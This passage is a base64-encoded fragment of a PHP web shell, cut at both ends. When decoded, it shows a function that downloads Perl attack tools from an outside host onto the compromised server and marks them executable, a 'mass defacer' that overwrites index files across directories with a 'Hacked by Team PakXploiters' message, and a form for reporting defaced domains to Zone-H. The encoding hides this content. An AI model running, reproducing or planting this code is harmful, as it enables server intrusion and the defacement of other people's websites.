zsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludEZvb3RlcigpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQpmdW5jdGlvbiBhY3Rpb25QU3ltbGluaygpIHsKCnByaW50SGVhZGVyKCk7CmVjaG8gIiA8IGNlbnRlciA+ICI7ICAgCgoJJHRlbG5ldGZpbGUgPSAndGVsbmV0MjEzJzsgLy8gUGVybCB0b29scyBmaWxlCgkKCSRsaW5rID0gImh0dHA6IC8vd3d3LnRoZS1jb2RlLnRrL3BoaCI7IC8vIFRvb2xzIHNvdXJjZSBsaW5rICh3aXRob3V0IHNsYXNoICcvJyBpbiBlbmQpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBlcmxmaWxlcyA9IGFycmF5KCIuaHRhY2Nlc3MiLCAidXNlcnMuZ2lmIiwgIml6by5naWYiLCAiY29uZmlnLmdpZiIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRuYW1lID0gYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOyAvLyBSZXR1cm5zIHRyYWlsaW5nIG5hbWUgY29tcG9uZW50IG9mIHBhdGguCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVybDAgPSAiaHR0cDovLyRfU0VSVkVSW0hUVFBfSE9TVF0kX1NFUlZFUltSRVFVRVNUX1VSSV0iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1cmwgPSBzdHJfcmVwbGFjZSgiJG5hbWUiLCAnJywgJHVybDApOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIFN0eWxlIDoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8aDM+LSBQRVJMIFRPT0xTOjwvaDM+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCR0ZWxuZXRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAbWtkaXIoJHRlbG5ldGZpbGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY2htb2QoIiR0ZWxuZXRmaWxlIiwgMDc1NSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkdGVsbmV0ZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHBlcmxmaWxlcyBhcyAkZmlsZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRvb2wgPSBmb3BlbigiJHRlbG5ldGZpbGUvJGZpbGUiLCAidysiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAZXJlZ2koJ2h0YWNjZXNzJywgJGZpbGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUgPSBzdHJfcmVwbGFjZSgiLiIsICcnLCAkZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG9vbGNvbnRlbnRzID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCIkbGluay9wZXJsLyRmaWxlLnR4dCIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHdyaXRlID0gZndyaXRlKCR0b29sLCAkdG9vbGNvbnRlbnRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkdG9vbCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHdyaXRlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBlcmVnaSgnaHRhY2Nlc3MnLCAkZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUgPSAiLiRmaWxlIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9Izk2OTY5Nj5UaGUgPGI+JGZpbGU8L2I+IEZpbGUgV2FzIENyZWF0ZWQgU3VjY2Vzc2Z1bHkuPT0+PGEgaHJlZj0nJHVybC8kdGVsbmV0ZmlsZS8kZmlsZScgdGFyZ2V0PSdfYmxhbmsnPjx1PiRmaWxlPC91PjwvYT48L2ZvbnQ+PGJyPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD5FUlJPUjogQ2Fubm90IENyZWF0ZSA8Yj4kZmlsZTwvYj4gRmlsZSAhISA8L2ZvbnQ+PGJyPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY2htb2QoIiR0ZWxuZXRmaWxlLyRmaWxlIiwgMDc1NSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnRGb290ZXIoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0JCQkJCQkJCQkJCQkJCQkJCmZ1bmN0aW9uIGFjdGlvbkRlZmFjZSgpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludEhlYWRlcigpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxoMT5TaW5nbGUgVXNlciBNYXNzIERlZmFjZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50PiI7Cj8+Cjxmb3JtIEVOQ1RZUEU9Im11bHRpcGFydC9mb3JtLWRhdGEiIGFjdGlvbj0iPD8kX1NFUlZFUlsnUEhQX1NFTEYnXT8+IiBtZXRob2Q9UE9TVCBvblN1Ym1pdD0iZyhudWxsLG51bGwsdGhpcy5wYXRoLnZhbHVlLHRoaXMuZmlsZS52YWx1ZSx0aGlzLkNvbnRlbnRzLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij4KPHAgYWxpZ249IkxlZnQiPkZvbGRlcjogPGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhdGggc2l6ZT02MCB2YWx1ZT0iPD89Z2V0Y3dkKCk7ID8+Ij4KPGJyPmZpbGUgbmFtZSA6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1maWxlIHNpemU9MjAgdmFsdWU9ImluZGV4LnBocCI+Cjxicj5UZXh0IENvbnRlbnQgOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9Q29udGVudHMgc2l6ZT0yMCB2YWx1ZT0iSGFja2VkIGJ5IFRlYW0gUGFrWHBsb2l0ZXJzIj4gCjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IlVwZGF0ZSI+PC9wPjwvZm9ybT4KCjw/cGhwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfUE9TVFsnYSddID09ICdEZWZhY2UnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtYWlucGF0aCA9ICRfUE9TVFtwMV07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlID0gJF9QT1NUW3AyXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHR4dENvbnRlbnRzID0gJF9QT1NUW3AzXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08YnI+ClsrXSBTaW5nbGUgdXNlciBNYXNzIGRlZmFjZXI8YnI+Ci0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyPjxicj4gIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRpciA9IG9wZW5kaXIoJG1haW5wYXRoKTsgLy9maXhtZSAtIGNhbm5vdCBkZWZhY2Ugd2hlbiBjaGFuZ2UgdG8gd3JpdGVhYmxlIHBhdGghIQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoJHJvdyA9IHJlYWRkaXIoJGRpcikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdGFydCA9IEBmb3BlbigiJHJvdy8kZmlsZSIsICJ3KyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvZGUgPSAkdHh0Q29udGVudHM7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmluaXNoID0gQGZ3cml0ZSgkc3RhcnQsICRjb2RlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZmluaXNoKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiJHJvdy8kZmlsZSA+IERvbmU8YnI+PGJyPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08YnI+PGJyPlsgKyBdIFNjcmlwdCBieSBUZWFtIFBha1hwbG9pdGVycyBbICsgXSI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvZGl2Pic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnRGb290ZXIoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KCQkJCQkJCQkJCQkJCQkJCWZ1bmN0aW9uIGFjdGlvblpIcG9zdGVyKCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50SGVhZGVyKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGgxPlpvbmUtSCBQb3N0ZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIG9uU3VibWl0PWRhMihudWxsLG51bGwsdGhpcy5wMS52YWx1ZSx0aGlzLnAyLnZhbHVlLHRoaXMucDMudmFsdWUsdGhpcy5wNC52YWx1ZSk7cmV0dXJuIHRydWU7Ij4KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InAxIiBzaXplPSI0MCIgdmFsdWU9IkF0dGFja2VyIiAvPjwvYnI+CjxzZWxlY3QgbmFtZT0icDIiPgo8b3B0aW9uID4tLS0tLS0tLVNFTEVDVC0tLS0tLS0tPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEiPmtub3duIHZ1bG5lcmFiaWxpdHkgKGkuZS4gdW5wYXRjaGVkIHN5c3RlbSk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMiIgPnVuZGlzY2xvc2VkIChuZXcpIHZ1bG5lcmFiaWxpdHk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMyIgPmNvbmZpZ3VyYXRpb24gLyBhZG1pbi4gbWlzdGFrZTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0IiA+YnJ1dGUgZm9yY2UgYXR0YWNrPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjUiID5zb2NpYWwgZW5naW5lZXJpbmc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNiIgPldlYiBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjciID5XZWIgU2VydmVyIGV4dGVybmFsIG1vZHVsZSBpbnRydXNpb248L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iOCIgPk1haWwgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI5IiA+RlRQIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTAiID5TU0ggU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxMSIgPlRlbG5ldCBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEyIiA+UlBDIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTMiID5TaGFyZXMgbWlzY29uZmlndXJhdGlvbjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNCIgPk90aGVyIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTUiID5TUUwgSW5qZWN0aW9uPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE2IiA+VVJMIFBvaXNvbmluZzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNyIgPkZpbGUgSW5jbHVzaW9uPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE4IiA+T3RoZXIgV2ViIEFwcGxpY2F0aW9uIGJ1Zzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxOSIgPlJlbW90ZSBhZG1pbmlzdHJhdGl2ZSBwYW5lbCBhY2Nlc3MgYnJ1dGVmb3JjaW5nPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIwIiA+UmVtb3RlIGFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBwYXNzd29yZCBndWVzc2luZzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMSIgPlJlbW90ZSBhZG1pbmlzdHJhdGl2ZSBwYW5lbCBhY2Nlc3Mgc29jaWFsIGVuZ2luZWVyaW5nPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIyIiA+QXR0YWNrIGFnYWluc3QgYWRtaW5pc3RyYXRvcihwYXNzd29yZCBzdGVhbGluZy9zbmlmZmluZyk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjMiID5BY2Nlc3MgY3JlZGVudGlhbHMgdGhyb3VnaCBNYW4gSW4gdGhlIE1pZGRsZSBhdHRhY2s8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjQiID5SZW1vdGUgc2VydmljZSBwYXNzd29yZCBndWVzc2luZzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyNSIgPlJlbW90ZSBzZXJ2aWNlIHBhc3N3b3JkIGJydXRlZm9yY2U8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjYiID5SZXJvdXRpbmcgYWZ0ZXIgYXR0YWNraW5nIHRoZSBGaXJld2FsbDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyNyIgPlJlcm91dGluZyBhZnRlciBhdHRhY2tpbmcgdGhlIFJvdXRlcjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyOCIgPkROUyBhdHRhY2sgdGhyb3VnaCBzb2NpYWwgZW5naW5lZXJpbmc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjkiID5ETlMgYXR0YWNrIHRocm91Z2ggY2FjaGUgcG9pc29uaW5nPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjMwIiA+Tm90IGF2YWlsYWJsZTwvb3B0aW9uPgo8L3NlbGVjdD4KPC9icj4KPHNlbGVjdCBuYW1lPSJwMyI+CjxvcHRpb24gPi0tLS0tLS0tU0VMRUNULS0tLS0tLS08L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMSIgPkhlaC4uLmp1c3QgZm9yIGZ1biE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMiIgPlJldmVuZ2UgYWdhaW5zdCB0aGF0IHdlYnNpdGU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMyIgPlBvbGl0aWNhbCByZWFzb25zPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQiID5BcyBhIGNoYWxsZW5nZTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1IiA+SSBqdXN0IHdhbnQgdG8gYmUgdGhlIGJlc3QgZGVmYWNlcjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI2IiA+UGF0cmlvdGlzbTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI3IiA+Tm90IGF2YWlsYWJsZTwvb3B0aW9uPgo8L3NlbGVjdD4KPC9icj4KPHRleHRhcmVhIG5hbWU9InA0IiBjb2xzPSI0NCIgcm93cz0iOSI+TGlzdCBPZiBEb21haW5zPC90ZXh0YXJlYT4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNlbmQgTm93ICEiIC8+CjwvZm9ybT4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX1BPU1RbJ2EnXSA9PSAnWkhwb3N0ZXInKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdWIgPSBAZ2V0X2xvYWRlZF9leHRlbnNpb25zKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghaW5fYXJyYXkoImN1cmwiLCAkc3ViKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGllKCdbLV0gQ3VybCBJcyBOb3QgU3VwcG9ydGVkICEhICcpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoYWNrZXI5ID0gJF9QT1NUWydwMSddOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWV0aG9kOSA9ICRfUE9TVFsncDInXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG5lZGVuOSA9ICRfUE9TVFsncDMnXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNpdGU5ID0gJF9QT1NUWydwNCddOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJGhhY2tlcjkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkaWUoIlstXSBZb3UgTXVzdCBGaWxsIHRoZSBBdHRhY2tlciBuYW1lICEiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRtZXRob2Q5ID09ICItLS0tLS0tLVNFTEVDVC0tLS0tLS0tIikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGllKCJbLV0gWW91IE11c3QgU2VsZWN0IFRoZSBNZXRob2QgISIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJG5lZGVuOSA9PSAiLS0tLS0tLS1TRUxFQ1QtLS0tLS0tLSIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRpZSgiWy1dIFlvdSBNdXN0IFNlbGVjdCBUaGUgUmVhc29uIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChlbXB0eSgkc2l0ZTkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkaWUoIlstXSBZb3UgTXVzdCBJbnRlciB0aGUgU2l0ZXMgTGlzdCAhICIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpID0gMDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNpdGVzID0gZXhwbG9kZSgiCiIsICRzaXRlOSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgkaSA8IGNvdW50KCRzaXRlcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzdWJzdHIoJHNpdGVzWyRpXSwgMCwgNCkgIT0gImh0dHAiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNpdGVzWyRpXSA9ICJodHRwOi8vIiAuICRzaXRlc1skaV07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg